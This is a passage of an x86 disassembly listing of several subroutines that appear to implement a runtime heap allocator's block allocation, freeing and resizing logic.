		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------


loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]


loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx


loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi


loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi


loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------


loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]


loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB


loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------


loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4


loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		call	near ptr 2790000h
		nop
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h


loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax


loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax


loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------


loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242


loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229


loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx


loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------


loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax


loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0


loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------


loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]


loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx


loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------


loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax


loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9


loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0


loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------


loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E


loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B


loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304


loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]


loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------


loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi


loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------


loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]


loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------


loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]


loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------


loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]


loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0


loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2840000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8


loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27A0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28918FDh
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		call	near ptr 2790000h
		nop


loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------


loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------


loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	near ptr 28918FDh
		nop
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------


loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]


loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5


loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi


loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------


loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi


loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------


loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx


loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------


loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]


loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------


loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------


loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi


loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
